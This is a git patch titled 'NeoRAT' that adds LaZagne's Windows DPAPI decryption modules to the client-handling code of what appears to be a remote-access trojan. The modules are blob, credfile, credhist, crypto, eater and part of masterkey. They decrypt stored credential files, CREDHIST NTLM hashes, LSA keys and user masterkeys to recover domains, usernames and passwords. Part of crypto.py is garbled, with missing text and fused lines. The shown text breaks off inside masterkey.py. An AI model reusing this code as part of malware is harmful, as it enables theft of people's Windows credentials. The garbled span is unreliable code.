From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/config/DPAPI/__init__.py | 1 + .../client_handling/lazagne/config/DPAPI/blob.py | 139 ++++++ .../lazagne/config/DPAPI/credfile.py | 108 +++++ .../lazagne/config/DPAPI/credhist.py | 142 ++++++ .../client_handling/lazagne/config/DPAPI/crypto.py | 366 +++++++++++++++ .../client_handling/lazagne/config/DPAPI/eater.py | 128 ++++++ .../lazagne/config/DPAPI/masterkey.py | 445 +++++++++++++++++++ .../client_handling/lazagne/config/DPAPI/system.py | 38 ++ .../client_handling/lazagne/config/DPAPI/vault.py | 489 +++++++++++++++++++++ 9 files changed, 1856 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/DPAPI/__init__.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/blob.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/credfile.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/credhist.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/crypto.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/eater.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/masterkey.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/system.py create mode 100644 foreign/client_handling/lazagne/config/DPAPI/vault.py (limited to 'foreign/client_handling/lazagne/config/DPAPI') diff --git a/foreign/client_handling/lazagne/config/DPAPI/__init__.py b/foreign/client_handling/lazagne/config/DPAPI/__init__.py new file mode 100644 index 0000000..8d1c8b6 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/__init__.py @@ -0,0 +1 @@ + diff --git a/foreign/client_handling/lazagne/config/DPAPI/blob.py b/foreign/client_handling/lazagne/config/DPAPI/blob.py new file mode 100644 index 0000000..6b76bc4 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/blob.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" +import codecs +import traceback + +from .eater import DataStruct +from . import crypto + +from foreign.client_handling.lazagne.config.write_output import print_debug +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.crypto.pyDes import CBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int + +AES_BLOCK_SIZE = 16 + + +class DPAPIBlob(DataStruct): + """Represents a DPAPI blob""" + + def __init__(self, raw=None): + """ + Constructs a DPAPIBlob. If raw is set, automatically calls parse(). + """ + self.version = None + self.provider = None + self.mkguid = None + self.mkversion = None + self.flags = None + self.description = None + self.cipherAlgo = None + self.keyLen = 0 + self.hmac = None + self.strong = None + self.hashAlgo = None + self.hashLen = 0 + self.cipherText = None + self.salt = None + self.blob = None + self.sign = None + self.cleartext = None + self.decrypted = False + self.signComputed = None + DataStruct.__init__(self, raw) + + def parse(self, data): + """Parses the given data. May raise exceptions if incorrect data are + given. You should not call this function yourself; DataStruct does + + data is a DataStruct object. + Returns nothing. + + """ + self.version = data.eat("L") + self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + + # For HMAC computation + blobStart = data.ofs + + self.mkversion = data.eat("L") + self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + self.flags = data.eat("L") + self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.keyLen = data.eat("L") + self.salt = data.eat_length_and_string("L") + self.strong = data.eat_length_and_string("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.hashLen = data.eat("L") + self.hmac = data.eat_length_and_string("L") + self.cipherText = data.eat_length_and_string("L") + + # For HMAC computation + self.blob = data.raw[blobStart:data.ofs] + self.sign = data.eat_length_and_string("L") + + def decrypt(self, masterkey, entropy=None, strongPassword=None): + """Try to decrypt the blob. Returns True/False + :rtype : bool + :param masterkey: decrypted masterkey value + :param entropy: optional entropy for decrypting the blob + :param strongPassword: optional password for decrypting the blob + """ + for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]: + try: + sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword) + key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo) + + if "AES" in self.cipherAlgo.name: + cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)], + iv="\x00" * int(self.cipherAlgo.ivLength)) + self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in + range(0, len(self.cipherText), AES_BLOCK_SIZE)]) + else: + cipher = self.cipherAlgo.module(key, CBC, "\x00" * self.cipherAlgo.ivLength) + self.cleartext = cipher.decrypt(self.cipherText) + + padding = char_to_int(self.cleartext[-1]) + if padding <= self.cipherAlgo.blockSize: + self.cleartext = self.cleartext[:-padding] + + # check against provided HMAC + self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob) + self.decrypted = self.signComputed == self.sign + + if self.decrypted: + return True + except Exception: + print_debug('DEBUG', traceback.format_exc()) + + self.decrypted = False + return self.decrypted + + def decrypt_encrypted_blob(self, mkp, entropy_hex=False): + """ + This function should be called to decrypt a dpapi blob. + It will find the associcated masterkey used to decrypt the blob. + :param mkp: masterkey pool object (MasterKeyPool) + """ + mks = mkp.get_master_keys(self.mkguid) + if not mks: + return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid) + + entropy = None + if entropy_hex: + entropy = codecs.decode(entropy_hex, 'hex') + + for mk in mks: + if mk.decrypted: + self.decrypt(mk.get_key(), entropy=entropy) + if self.decrypted: + return True, self.cleartext + + return False, 'Unable to decrypt master key' diff --git a/foreign/client_handling/lazagne/config/DPAPI/credfile.py b/foreign/client_handling/lazagne/config/DPAPI/credfile.py new file mode 100644 index 0000000..98bda22 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/credfile.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from .blob import DPAPIBlob +from .eater import DataStruct + + +class CredentialDecryptedHeader(DataStruct): + """ + Header of the structure returned once the blob has been decrypted + Header of the CredentialDecrypted class + """ + def __init__(self, raw=None): + self.total_size = None + self.unknown1 = None + self.unknown2 = None + self.unknown3 = None + self.last_update = None + self.unknown4 = None + self.unk_type = None + self.unk_blocks = None + self.unknown5 = None + self.unknown6 = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.total_size = data.eat("L") + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.unknown3 = data.eat("L") + self.last_update = data.eat("Q") + self.unknown4 = data.eat("L") + self.unk_type = data.eat("L") + self.unk_blocks = data.eat("L") + self.unknown5 = data.eat("L") + self.unknown6 = data.eat("L") + + +class CredentialDecrypted(DataStruct): + """ + Structure returned once the blob has been decrypted + """ + def __init__(self, raw=None): + self.header_size = None + self.header = None + self.domain = None + self.unk_string1 = None + self.unk_string2 = None + self.unk_string3 = None + self.username = None + self.password = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.header_size = data.eat("L") + if self.header_size > 0: + self.header = CredentialDecryptedHeader() + self.header.parse(data.eat_sub(self.header_size - 4)) + self.domain = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string1 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string2 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string3 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.username = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.password = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + + +class CredFile(DataStruct): + """ + Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\... + """ + def __init__(self, raw=None): + self.unknown1 = None + self.blob_size = None + self.unknown2 = None + self.blob = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.unknown1 = data.eat("L") + self.blob_size = data.eat("L") + self.unknown2 = data.eat("L") + if self.blob_size > 0: + self.blob = DPAPIBlob() + self.blob.parse(data.eat_sub(self.blob_size)) + + def decrypt(self, mkp, credfile): + ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp) + if ok: + cred_dec = CredentialDecrypted(msg) + if cred_dec.header.unk_type == 3: + return True, { + 'File': credfile, + 'Domain': cred_dec.domain, + 'Username': cred_dec.username, + 'Password': cred_dec.password, + } + elif cred_dec.header.unk_type == 2: + return False, 'System credential type' + else: + return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec) + else: + return ok, msg diff --git a/foreign/client_handling/lazagne/config/DPAPI/credhist.py b/foreign/client_handling/lazagne/config/DPAPI/credhist.py new file mode 100644 index 0000000..2a1d8d7 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/credhist.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +import struct +import hashlib + +from . import crypto +from .eater import DataStruct + + +class RPC_SID(DataStruct): + """ + Represents a RPC_SID structure. See MSDN for documentation + """ + def __init__(self, raw=None): + self.version = None + self.idAuth = None + self.subAuth = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("B") + n = data.eat("B") + self.idAuth = struct.unpack(">Q", "\0\0" + data.eat("6s"))[0] + self.subAuth = data.eat("%dL" % n) + + def __str__(self): + s = ["S-%d-%d" % (self.version, self.idAuth)] + s += ["%d" % x for x in self.subAuth] + return "-".join(s) + + +class CredhistEntry(DataStruct): + + def __init__(self, raw=None): + self.pwdhash = None + self.hmac = None + self.revision = None + self.hashAlgo = None + self.rounds = None + self.cipherAlgo = None + self.shaHashLen = None + self.ntHashLen = None + self.iv = None + self.userSID = None + self.encrypted = None + self.revision2 = None + self.guid = None + self.ntlm = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.revision = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.rounds = data.eat("L") + data.eat("L") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.shaHashLen = data.eat("L") + self.ntHashLen = data.eat("L") + self.iv = data.eat("16s") + + self.userSID = RPC_SID() + self.userSID.parse(data) + + n = self.shaHashLen + self.ntHashLen + n += -n % self.cipherAlgo.blockSize + self.encrypted = data.eat_string(n) + + self.revision2 = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def decrypt_with_hash(self, pwdhash): + """ + Decrypts this credhist entry with the given user's password hash. + Simply computes the encryption key with the given hash + then calls self.decrypt_with_key() to finish the decryption. + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID))) + + def decrypt_with_key(self, enckey): + """ + Decrypts this credhist entry using the given encryption key. + """ + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey, + self.iv, self.rounds) + self.pwdhash = cleartxt[:self.shaHashLen] + self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip("\x00") + if len(self.ntlm) != 16: + self.ntlm = None + + +class CredHistFile(DataStruct): + + def __init__(self, raw=None): + self.entries_list = [] + self.entries = {} + self.valid = False + self.footmagic = None + self.curr_guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + while True: + l = data.pop("L") + if l == 0: + break + self.addEntry(data.pop_string(l - 4)) + + self.footmagic = data.eat("L") + self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def addEntry(self, blob): + """ + Creates a CredhistEntry object with blob then adds it to the store + """ + x = CredhistEntry(blob) + self.entries[x.guid] = x + self.entries_list.append(x) + + def decrypt_with_hash(self, pwdhash): + """ + Try to decrypt each entry with the given hash + """ + + if self.valid: + return + + for entry in self.entries_list: + entry.decrypt_with_hash(pwdhash) + + def decrypt_with_password(self, password): + """ + Decrypts this credhist entry with the given user's password. + Simply computes the password hash then calls self.decrypt_with_hash() + """ + self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest()) diff --git a/foreign/client_handling/lazagne/config/DPAPI/crypto.py b/foreign/client_handling/lazagne/config/DPAPI/crypto.py new file mode 100644 index 0000000..121a921 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/crypto.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +# ## +# This file is part of DPAPIck ## +# Windows DPAPI decryption & forensic toolkit ## +# ## +# ## +# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +# This document is the property of Cassidian SAS, it may not be copied or ## +# circulated without prior licence ## +# ## +# Author: Jean-Michel Picod ## +# ## +# This program is distributed under GPLv3 licence (see LICENCE.txt) ## +# ## +############################################################################# + +import array +import hashlib +import hmac +import struct +import sys + +from foreign.client_handling.lazagne.config.crypto.rc4 import RC4 +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB +from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte + + +try: + xrange +except NameError: + xrange = range + +AES_BLOCK_SIZE = 16 + + +class CryptoAlgo(object): + """ + This class is used to wrap Microsoft algorithm IDs with M2Crypto + """ + + class Algo(object): + def __init__(self, data): + self.data = data + + def __getattr__(self, attr): + if attr in self.data: + return self.data[attr] + raise AttributeError(attr) + + _crypto_data = {} + + @classmethod + def add_algo(cls, algnum, **kargs): + cls._crypto_data[algnum] = cls.Algo(kargs) + if 'name' in kargs: + kargs['ID'] = algnum + cls._crypto_data[kargs['name']] = cls.Algo(kargs) + + @classmethod + def get_algo(cls, algnum): + return cls._crypto_data[algnum] + + def __init__(self, i): + self.algnum = i + self.algo = CryptoAlgo.get_algo(i) + + name = property(lambda self: self.algo.name) + module = property(lambda self: self.algo.module) + keyLength = property(lambda self: self.algo.keyLength / 8) + ivLength = property(lambda self: self.algo.IVLength / 8) + blockSize = property(lambda self: self.algo.blockLength / 8) + digestLength = property(lambda self: self.algo.digestLength / 8) + + def do_fixup_key(self, key): + try: + return self.algo.keyFixup.__call__(key) + except AttributeError: + return key + + def __repr__(self): + return "%s [%#x]" % (self.algo.name, self.algnum) + + +def des_set_odd_parity(key): + _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, + 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, + 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, + 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, + 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, + 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, + 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, + 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, + 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, + 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, + 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, + 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, + 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, + 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, + 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, + 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, + 247, 248, 248, 251, 251, 253, 253, 254, 254] + tmp = array.array("B") + tmp.fromstring(key) + for i, v in enumerate(tmp): + tmp[i] = _lut[v] + return tmp.tostring() + + +CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) +CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512) +CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024) +CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024) + + +def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for XP DPAPI blob, given the masterkey and optional information. + + This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC. + Instead of updating the inner pad, we update the outer pad... + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + masterkey += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + digest = hashlib.new(hashAlgo.name) + digest.update(ipad) + digest.update(nonce) + tmp = digest.digest() + digest = hashlib.new(hashAlgo.name) + digest.update(opad) + digest.update(tmp) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information. + + This implementation relies on an RFC compliant HMAC implementation + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name)) + digest.update(nonce) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptDeriveKey(h, cipherAlgo, hashAlgo): + """ + Internal use. Mimics the corresponding native Microsoft function + """ + if len(h) > hashAlgo.blockSize: + h = hashlib.new(hashAlgo.name, h).digest() + if len(h) >= cipherAlgo.keyLength: + return h + h += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest() + k = k[:cipherAlgo.keyLength] + k = cipherAlgo.do_fixup_key(k) + return k + + +def decrypt_lsa_key_nt5(lsakey, syskey): + """ + This function decrypts the LSA key using the syskey + """ + dg = hashlib.md5() + dg.update(syskey) + for i in xrange(1000): + dg.update(lsakey[60:76]) + arcfour = RC4(dg.digest()) + deskey = arcfour.encrypt(lsakey[12:60]) + return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)] + + +def decrypt_lsa_key_nt6(lsakey, syskey): + """ + This function decrypts the LSA keys using the syskey + """ + dg = hashlib.sha256() + dg.update(syskey) + for i in range(1000): + dg.update(lsakey[28:60]) + + k = AESModeOfOperationECB(dg.digest()) + keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)]) + + size = struct.unpack_from("> 1) + des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2)) + des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3)) + des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4)) + des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5)) + des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6)) + des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7)) + des_key.append(char_to_int(block_key[6]) & 0x7F) + des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key])) + + decrypted_data += des(des_key, ECB).decrypt(enc_block) + j += 7 + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) + dec_data_len = struct.unpack(" (3, 0): + tmp += struct.pack(">B", x ^ y) + else: + tmp += chr(char_to_int(x) ^ char_to_int(y)) + derived = tmp + buff += derived + return buff[:int(keylen)] + + +def derivePwdHash(pwdhash, sid, digest='sha1'): + """ + Internal use. Computes the encryption key from a user's password hash + """ + return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest() + + +def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds): + """ + Internal use. Decrypts data stored in DPAPI structures. + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname) + key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):] + key = key[:int(cipherAlgo.keyLength)] + iv = iv[:int(cipherAlgo.ivLength)] + + if "AES" in cipherAlgo.name: + cipher = AESModeOfOperationCBC(key, iv=iv) + cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)]) + else: + cipher = cipherAlgo.module(key, CBC, iv) + cleartxt = cipher.decrypt(raw) + return cleartxt + + +def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value): + """ + Internal function used to compute HMACs of DPAPI structures + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname)) + encKey.update(hmacSalt) + encKey = encKey.digest() + rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname)) + rv.update(value) + return rv.digest() diff --git a/foreign/client_handling/lazagne/config/DPAPI/eater.py b/foreign/client_handling/lazagne/config/DPAPI/eater.py new file mode 100644 index 0000000..cadb13f --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/eater.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +## ## +## This file is part of DPAPIck ## +## Windows DPAPI decryption & forensic toolkit ## +## ## +## ## +## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +## This document is the property of Cassidian SAS, it may not be copied or ## +## circulated without prior licence ## +## ## +## Author: Jean-Michel Picod ## +## ## +## This program is distributed under GPLv3 licence (see LICENCE.txt) ## +## ## +############################################################################# + +import struct + + +class Eater(object): + """This class is a helper for parsing binary structures.""" + + def __init__(self, raw, offset=0, end=None, endianness="<"): + self.raw = raw + self.ofs = offset + if end is None: + end = len(raw) + self.end = end + self.endianness = endianness + + def prepare_fmt(self, fmt): + """Internal use. Prepend endianness to the given format if it is not + already specified. + + fmt is a format string for struct.unpack() + + Returns a tuple of the format string and the corresponding data size. + + """ + if fmt[0] not in ["<", ">", "!", "@"]: + fmt = self.endianness+fmt + return fmt, struct.calcsize(fmt) + + def read(self, fmt): + """Parses data with the given format string without taking away bytes. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + return v + + def eat(self, fmt): + """Parses data with the given format string. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + self.ofs += sz + return v + + def eat_string(self, length): + """Eats and returns a string of length characters""" + return self.eat("%us" % length) + + def eat_length_and_string(self, fmt): + """Eats and returns a string which length is obtained after eating + an integer represented by fmt + + """ + l = self.eat(fmt) + return self.eat_string(l) + + def pop(self, fmt): + """Eats a structure represented by fmt from the end of raw data""" + fmt, sz = self.prepare_fmt(fmt) + self.end -= sz + v = struct.unpack_from(fmt, self.raw, self.end) + if len(v) == 1: + v = v[0] + return v + + def pop_string(self, length): + """Pops and returns a string of length characters""" + return self.pop("%us" % length) + + def pop_length_and_string(self, fmt): + """Pops and returns a string which length is obtained after poping an + integer represented by fmt. + + """ + l = self.pop(fmt) + return self.pop_string(l) + + def remain(self): + """Returns all the bytes that have not been eated nor poped yet.""" + return self.raw[self.ofs:self.end] + + def eat_sub(self, length): + """Eats a sub-structure that is contained in the next length bytes""" + sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness) + self.ofs += length + return sub + + def __nonzero__(self): + return self.ofs < self.end + + +class DataStruct(object): + """Don't use this class unless you know what you are doing!""" + + def __init__(self, raw=None): + if raw is not None: + self.parse(Eater(raw, endianness="<")) + + def parse(self, eater_obj): + raise NotImplementedError("This function must be implemented in subclasses") + diff --git a/foreign/client_handling/lazagne/config/DPAPI/masterkey.py b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py new file mode 100644 index 0000000..1ee59d0 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py @@ -0,0 +1,445 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from . import crypto +from .credhist import CredHistFile +from .system import CredSystem +from .eater import DataStruct, Eater +from collections import defaultdict + +import codecs +import hashlib +import struct +import os + + +class MasterKey(DataStruct): + """ + This class represents a MasterKey block contained in a MasterKeyFile + """ + + def __init__(self, raw=None): + self.decrypted = False + self.key = None + self.key_hash = None + self.hmacSalt = None + self.hmac = None + self.hmacComputed = None + self.cipherAlgo = None + self.hashAlgo = None + self.rounds = None + self.iv = None + self.version = None + self.ciphertext = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.iv = data.eat("16s") + self.rounds = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.ciphertext = data.remain() + + def decrypt_with_hash(self, sid, pwdhash): + """ + Decrypts the masterkey with the given user's hash and SID. + Simply computes the corresponding key then calls self.decrypt_with_key() + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid)) + + def decrypt_with_password(self, sid, pwd): + """ + Decrypts the masterkey with the given user's password and SID. + Simply computes the corresponding key, then calls self.decrypt_with_hash() + """ + try: + pwd = pwd.encode("UTF-16LE") + except Exception: + return + + for algo in ["sha1", "md4"]: + self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest()) + if self.decrypted: + break + + def decrypt_with_key(self, pwdhash): + """ + Decrypts the masterkey with the given encryption key. + This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one. + Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return. + """ + if self.decrypted or not pwdhash: + return + + # Compute encryption key + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv, + self.rounds) + self.key = cleartxt[-64:] + hmacSalt = cleartxt[:16] + hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)] + hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key) + 